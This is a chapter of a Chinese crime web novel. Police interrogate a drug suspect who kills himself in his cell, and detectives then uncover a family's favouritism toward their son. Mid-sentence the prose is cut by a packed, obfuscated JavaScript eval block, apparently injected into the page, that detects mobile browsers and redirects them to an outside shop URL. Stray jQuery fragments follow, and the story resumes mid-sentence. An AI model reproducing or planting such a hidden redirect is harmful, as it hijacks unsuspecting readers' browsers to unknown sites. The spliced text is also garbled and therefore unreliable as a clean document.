王三看着程政南，那人身姿挺拔，应受过专业训练身材匀称而又壮实。眉眼间都带着攻击性，使人根本不敢与他对视。王三倒像是没有注意到程政南眼底的严肃，他勾了勾唇角，微微一笑：“程警官啊，要不你换一个人来问我呢？”
程政南挑了挑眉：“怎么？警察来审问犯人，还需要犯人来挑选？”
“那倒不是。”王三摆摆手，眼底的笑意丝毫不减，“程警官你太有压迫感了，像我这样内心胆小的人，就算我没有，说出来结结巴巴的，警官也不会信的吧？”
程政南没什么表情，他伸手撑在王三面前的桌子上，居高临下的地看着王三：“那你想要谁来审问你？”
王三抬头与他对视，干裂的嘴唇缓缓吐出一个名字：“夏奕。”
程政南一怔，眼睛也不自觉的微微睁大。王三直起腰，察觉到了对方眼底的一丝震惊。
“我向你保证，只要夏奕在这，我不会说出一个谎字。”
过了几秒后程政南什么也没有说，转身走出牢房：“说到做到。”
“呼啦”牢门被关上，程政南掏出手机，点开一个聊天页面，上面显示着“夏奕”这个备注。
程队：你来王三这一趟，他想见你。
夏奕看着程队发来的信息，回复了一个“好”，随后从自己的办公椅上起身，将桌上的笔记本电脑合上，电脑屏幕上赫然显示着名安刚刚发来的消息。
名安：夏哥，你上次让我查的东西我查到了。Fiee他没有死！我查到他最近在一个酒吧活动，并且他从三年前就开始雇佣杀手榜第一的那个人，就在围剿制毒工厂案之后三个月！
Xia：好，我知道了。
夏奕走出了办公室的门。而此刻网站内，一群人正因为一位名叫Q的人新发的一条帖而点燃了兴奋的火焰。
牢房外，程政南收起手机，没一会便瞥见来了人。
牢房光线比较昏暗，但是这反而衬出夏奕的脸更加白而清透，程政南看着夏奕朝自己走过来，脑海里响起和王三的对话。
“程警官你太有压迫感了。”
“那你想要谁来审问你？”
“夏奕。”
程政南发现夏奕的长相很柔和，笑起来的时候眼角弯弯的，平常脸上并没有什么表情，像白开水一样，温温的。和自己完全不一样。也难怪王三会选择让夏奕过来。
程政南重新打开牢门，夏奕走了走了进去。
王三见来人是夏奕，脸上露出了一丝愉悦。他招了招手让夏奕离自己近些。
夏奕向前走了一步，微微弯腰轻轻开口：“你想见我的目的是什么？”
王三目光落在了牢房外正抱胸靠墙盯着自己的程政南几秒，随后眼睛弯了弯：“因为你长得好看啊，和长得好看的人说话，心情都好了不少呢。”
夏奕眯了眯眼，没有理会王三的马屁：“说吧，你和魏桐的事。”
王三微微低头，随后开口：“我和她是网上玩游戏认识的，后来熟悉了才知道她跟我在一个地区。至于贩卖冰晶的事，魏桐当然不知情。毕竟我也是第一次干这个，我和她又不算能托付性命的深交，我要是告诉她，她哪天给我举报了怎么办？虽然说下场和现在都一个样。”
夏奕静静地看着他，没有说话。“不过我叫你来，还有另一件事。”王三对上夏奕的目光，眼底闪过几分畏惧和期待。
“如果我主动告诉你们警方冰晶的来源，能不能给我缓刑？”
夏奕闻言微微一笑，那是一个很标准的假笑，唇角勾起的弧度很自然，找不出一丝瑕疵。
“缓刑？王三，你知道你现在给我的感觉是什么吗？就像是我们警方现在已经无济于事，只能寻求你的帮忙一样。”
王三微微愣神，自己话语里的深意就这样被对方直接戳穿。他忽的发现夏奕看他的眼神多了几分嘲弄。
“我们警方会找到冰晶的来源的，并且如果那些人知道了你已经被警方抓获，相信我，他们是不会放过你的。”
夏奕转身准备抬脚走出牢房，这时他听见身后的王三小声地说了一句话。
“哈哈……你不会还不知道自己早已经被人给盯上了吧……”
夏奕猛地回头看向王三：“你说什么？”
王三笑了起来，没有理会夏奕的问题，眼底满是恐惧，他的脑海中闪过一抹如同恶魔般的身影：“你刚刚说他们不会放过我，对吧？”
夏奕微微皱眉，不明白王三现在是怎么了。
“以他们的实力，知道我被警方抓住只不过是时间问题。”王三说话的声音有些抖，眼底的恐惧越来越大，额上也冒出了一些冷汗。
“到那时候，他们会杀了我的……会杀了我的……”
夏奕听着王三的喃喃自语，紧接着他便看到血正从王三的嘴角流出。
“王三！”夏奕快步走向王三，王三嘴里顿时流出了许多鲜血，头也垂了下去。程政南听到夏奕的喊声连忙冲进牢房内，但早已为时已晚。
程政南将王三垂下的头抬起来，观察了一下便松手。
“咬舌自尽？”程政南看向王三，王三嘴角的血滴到了地上，发出一声轻响。
夏奕呼吸有些沉重，闷闷地回了一声“嗯。”
“我回头看他的时候，就已经……咬舌了。”
夏奕微微垂下眼睛，似乎在懊悔自己为什么没有快一点察觉到王三的不对劲。
程政南看着夏奕，察觉到了他的情绪，轻轻拍了拍他的肩膀：“这不是你的问题，我们先出去吧。”
走出了牢房，陈川拿着一部手机跑了过来：“程队！聊天记录恢复了！”程政南接过手机翻看起王三和魏桐的聊天信息。
程政南修长的手指在手机屏幕上划着，很快便看完了。王三和魏桐聊天并没有提及任何有关冰晶的事，甚至都没有说到杜沐卉。大多都是有关游戏的话题。看来王三是真的没有说谎。
程政南放下手机，随意的撩了一下头发。就在这时，程政南的手机响了，是杨丞打来的。
“喂？”程政南接通了电话。
“喂？程队。”杨丞站在曹卉所住的家门口，一手插着兜，一手拿着手机，客厅内王楚坐在杜荣和曹卉对面，正在向夫妻二人询问信息。
“曹卉说自己之前确实和杜沐卉的班主任打过电话。她也承认陈瑞所述的电话内容。”
“哦？”程政南疑惑了一声，听着杨丞继续说道。
“她说，杜沐卉上的高中不是什么好高中，她本以为能上她丈夫的赞城高中，结果呢，去了南阳，所以她就很生气想给杜沐卉办退学，结果人班主任一直在劝。所以态度就不是很好。”
程政南点点头：“我知道了，你们还问出来什么吗？”
杨丞看了一眼客厅内的曹卉和杜荣二人。
“杜沐卉在家生活的可能不是很好。”
“什么意思？”夏奕在一旁听到这话急切地问道。
“我一开始也很纳闷呢，曹卉和杜荣之前表现的完完全全就是一个非常疼爱自己女儿的父母。但是我这次来这里的时候仔细看了一下。杜沐卉和杜沐卉泽的卧室房间有很大的区别。这个家庭好像有一点重男轻女。
“杜沐泽的房间一切都很新，很整洁，还有很多花费很高的东西，头戴式耳机啊，无线耳机啊，电脑平板那些电子产品他都有。并且有一些还是最近的新款。但是杜沐卉的房间别说这些电子产品了，连床单都是很老式的风格。”
程政南略微思索了一会随后像是想明白了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834750|211390||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么：“你说的没错，杜沐卉的父母是重男轻女。杜沐卉成绩优异，要比她的弟弟杜沐泽好很多，但是最后去赞城上高中的却是杜沐泽，这点很奇怪。而且就算杜沐泽在学校里犯了些事，曹卉和杜荣依然把他送到国外深造。”
“是这样的。”杨丞扶着额头微微叹息：“我算是明白杜沐卉为什么会选择一个人搬出去住了。”
“啊对了。”电话那头的杨丞看了一眼手中的一个本子，“我在杜沐卉的卧室里发现了她的日记，等我带回来给你们看看。”
“嗯好。”程政南应声答应，正准备挂断电话就听见对面传来了很大的说话声，因为方便身旁的夏奕能够听到电话里的内容，他还开了免提，所以这说话声也就显得更加突兀。
“我们家一直以来都喜欢男孩！男孩多好啊？生个女孩以后还不是要嫁人？！以后不还得是别人家的？！”客厅内的曹卉脸有些红，坐在她对面的王楚显得有些不知所措：“不，阿姨我不是这个意思。”
“怎么了这是？”杨丞转身走进客厅，王楚有些焦虑地看着他：“我只是问他们为什么对待杜沐卉根对杜沐泽不一样，是重男轻女，然后他们好像就急眼了……”
“什么叫我们急眼了啊？”曹卉听见了王楚的话眉毛倒竖，“我们家可能是有点重男轻女，但是我们也没有亏待过囡囡啊，她这次遇害，我们夫妻二人也是很伤心的啊毕竟也是我身上掉下来的一块肉，我们囡囡一向乖巧懂事，我们在外头也没少夸过她啊。而且囡囡是姐姐，让让小的怎么了？”
杨丞轻轻拍了拍王楚的肩膀看向曹卉：“每个家庭的教育方式会有所不同，我们警方是不应该涉足。”
曹卉往后一靠，靠在了沙发上：“知道就好，如果你们警方没有什么想问我们的就请回……”
“但是，我觉得…”杨丞打断了曹卉没说完的话，眼中满是坚定，“杜沐卉成绩优异，名列前茅，乖巧听话，她值得和她弟弟一样的待遇，也值得去赞城高中念书，她也更值得拥有美好的人生，而不是被自己的性别而扼杀在摇篮里。
“或许你们传承下来的思想本就封建，但是我希望你们重男轻女的思想能够淡化，女性早就和男性平起平坐，拥有一样的地位了。”杨丞示意王楚起身走人，“感谢你们的配合，我们警方也会尽快找到凶手的。”
曹卉看着杨丞和王楚离开的身影，愣神片刻：“……拥有一样的地位吗？”她垂下了头。思绪回到了她小时候。
“啧，哎！这是给你哥哥吃的，你抢什么抢！小时候的曹卉看着自己刚夹到我自己碗里的肉又被自己母亲夹给哥哥，有些委屈地低下了头：“妈……我也想…吃肉。“
“吃吃吃！吃什么吃？女孩子吃肉有什么用啊？女孩以后还不是要嫁人？！以后不还得是别人家的？！”小时候的曹卉听着母亲带着愤怒和不耐烦的话语，眼睛里积满了泪水，轻轻一眨眼，眼泪就会掉下来。
小时候的曹卉每次吃饭就只能吃青菜，但其实每次桌上都有一盘红烧肉，只是没有她的那一块罢了。
一次冬天，小时候的曹卉身上穿的衣服并不多，家里唯一暖和的地方就是床了，因为有一条被子。小时候的曹卉隔着门缝瞧外看去，母亲又给弟弟买新衣服了，母亲脸上洋溢着笑容，这是一次也没有对自己露出过的表情。
“妈妈给咱大宝贝儿子买了件新羽绒服！咱儿子穿就是好看！”
门外的温馨的氛围驱散不了曹卉一间小小的卧室，她的哥哥总有两个地方是温暖的。一个是床，还有一个是爱。
曹卉不知不觉就流下了眼泪，一旁的杜荣见状连忙抽了一张纸递给她：“怎么了这是？怎么还哭上了？”曹卉摇摇头，声音有些沙哑：“我们……应该对囡囡好一点的……应该…好一点的。”